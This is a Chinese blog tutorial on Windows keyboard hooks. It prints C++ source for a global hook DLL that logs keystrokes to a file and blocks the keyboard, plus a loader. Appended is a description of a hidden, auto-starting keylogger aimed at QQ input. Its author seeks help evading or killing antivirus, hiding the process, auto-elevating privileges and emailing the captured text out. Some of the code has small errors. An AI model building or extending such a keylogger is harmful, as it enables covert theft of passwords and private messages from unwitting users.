【HOOK技术】键盘钩子

  今天对WINDOWS的HOOK技术进行了应用:

主要包括以下:

1,HOOK技术原理的了解;

2,HOOK技术中的常见钩子应用:键盘钩子,鼠标钩子,消息钩子

3,钩子DLL在调用程序EXE中的调试。

 

首先,HOOK技术中的几个常用函数:

View Code
HHOOK SetWindowsHookEx(
int idHook, // type of hook to install
HOOKPROC lpfn, // address of hook procedure
HINSTANCE hMod, // handle to application instance
DWORD dwThreadId // identity of thread to install hook for
);
View Code
BOOL UnhookWindowsHookEx(
HHOOK hhk // handle to hook procedure to remove
);

 

其次,工程步骤,第一步,钩子DLL的创建,源代码如下:

View Code
// KeyHook.cpp : Defines the entry point for the DLL application.
//

#include "stdafx.h"
#include <fstream>

using namespace std;

#define DLLEXPORT extern "C" __declspec(dllimport)

//变量
HHOOK hhkHook =NULL; //定义钩子句柄
HINSTANCE hInstance =NULL; //程序实例
fstream chOut; //输出文件

//导出函数
DLLEXPORT int add(int a, int b); //测试
DLLEXPORT BOOL InstallHook(); //安装钩子
DLLEXPORT BOOL UnInstallHook(); //卸载钩子

//定义函数
LRESULT CALLBACK KeyboardProc(

int code, // hook code
WPARAM wParam, // virtual-key code
LPARAM lParam // keystroke-message information
);



//入口
BOOL APIENTRY DllMain( HANDLE hModule,

DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
hInstance = (HINSTANCE)hModule;
return TRUE;
}

//钩子的实现部分
LRESULT CALLBACK KeyboardProc( int code, WPARAM wParam, LPARAM lParam )

{
if (code == HC_ACTION)
{
//获取当前的按键 wParam
char ch[1] = {0};

ch[0] = wParam;

BOOL bKeyUp = FALSE; //键是否按下或弹起
BOOL bKeyAlt = FALSE; //ALT键
//检查按键的键 lParam
//判断ALT键
if (lParam & 0x20000000)

{
bKeyAlt =TRUE;
}
if (bKeyAlt)
{
//当前按下ALT
::MessageBox(0,"ALT","KeyBoardLocked",MB_OK);

}

//判断键是否按下或弹起
if (lParam & 0x80000000)

{
bKeyUp = TRUE;
}
if (bKeyUp)
{
//当前按键已经弹起
//写文件
chOut.write(ch, 1);

chOut.flush();
}
}

// if(!::FindWindow(0,"KeyBoardLocked"))
// {
// ::MessageBox(0,"键盘已经锁定!!!","KeyBoardLocked",MB_OK);
// }
// return CallNextHookEx(hhkHook, code, wParam, lParam);

return 1; //不调用 CallNextHookEx 将会屏蔽掉键盘
}


BOOL InstallHook()
{
chOut.open("c:\\keyhook.log", ios::app | ios::out);
hhkHook = SetWindowsHookEx(WH_KEYBOARD, (HOOKPROC)KeyboardProc, hInstance, 0);

if (hhkHook != NULL)
{
return TRUE;
}
else
{
return FALSE;
}
}

BOOL UnInstallHook()
{
if (chOut.is_open)
{
chOut.close();
}

return UnhookWindowsHookEx(hhkHook);
}


第二步,钩子调用程序,源代码如下:

View Code
//变量定义
HMODULE m_hDll = NULL;

typedef BOOL (*INSPROC)(void);
typedef BOOL (*UNINSPROC)(void);

在一个对话框中,添加了两个按钮

View Code
void CKeyHookTestDlg::OnButton1() 
{
// TODO: Add your control notification handler code here
m_hDll = LoadLibrary("KeyHook.dll");


if(m_hDll==NULL)
{
MessageBox("fail");
}
else
{
INSPROC instproc;
instproc = (INSPROC)GetProcAddress(m_hDll, "InstallHook");
BOOL bResult = instproc();
}
}

void CKeyHookTestDlg::OnButton2()
{
// TODO: Add your control notification handler code here
UNINSPROC uninstproc;

uninstproc = (UNINSPROC)GetProcAddress(m_hDll, "UnInstallHook");
BOOL bResult = uninstproc();

::FreeLibrary(m_hDll);
m_hDll = NULL;
}


再次,就是调用程序对钩子DLL进行调试。

1,创建工作区间时,DLL工程和EXE工程在一个工作区间;

2,设置EXE工程为"Set as active project";
3,将DLL工程编译后生成的LIB文件,加载到EXE工程中,方法有2个

  #pragma comment(lib, "XXX.lib") 或者在"project"->"setting"->"link": "Object/library modules:"设定

4,以上就可以进行调试了。

在这里一个小技巧提示:

1,将DLL工程的dll生成路径设置为EXE工程exe生成路径

2,将将EXE工程调用lib文件所在路径设置为DLL工程的dll生成路径



 

转载于:https://www.cnblogs.com/chenang/archive/2011/11/04/2236554.html

简单的低级钩子做的应用实例,实现了开机自动启动功能,程序启动后在后台运行,等待本地QQ启动后,开启钩子,记录键盘输入的字符,并保存在D:盘目录下的指定名文档中。关闭QQ时,钩子自动卸载并结束进程。 但是由于是使用的键盘钩子,所以只能简单的抓取键盘所键入的内容,如果是汉字的话则无法显示。 由于使用了Hook技术,并对注册表进行了修改,使用前请关闭360等防火墙软件,并使用管理员模式运行。 一次执行后,之后再次开机时,该程序会自动启动。 程序尚有缺陷,如内存泄漏,究其原因是CString应用在多线程中导致,但至今未查到根源所在,希望大神指教,学生不胜感激! 也希望各位多提出宝贵意见,或对本程序进行开发改造。 个人暂时希望改造的几个方面: 1.首先是希望能够屏蔽掉360等防火墙的检查。更深层次的改造,希望能够主动杀死360等防火墙的进程。 2.其次是希望能够做成主辅进程相互监视的模式,主进程down掉后,辅进程自动能把主进程启动,辅助进程down掉后,主进程能把辅进程自动启动。 3.其次是希望能够做成真正的隐藏进程的风格,就是能够在任务管理器中隐藏掉进程,其实可以做成服务,但是更希望能够以进程的形式存在。 4.然后很重要的是,希望能够做成自动获取管理员权限的类型,这个一直很想做,但是小菜我水平有限,暂时未对应。 5.希望对应网络开发,现在用钩子钩下来的文字,暂时只是保存在本地的一个txt文件中,希望最终实现把抓下来的内容发送到指定邮箱这样的功能。 暂时就先想到这么多吧,希望大家多多提出宝贵意见。 (最终声明:本程序只限用于研究学习开发技术,不得用于研究学习以外的任何目的) 作者:Benjamin Wang 2013-12-02
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值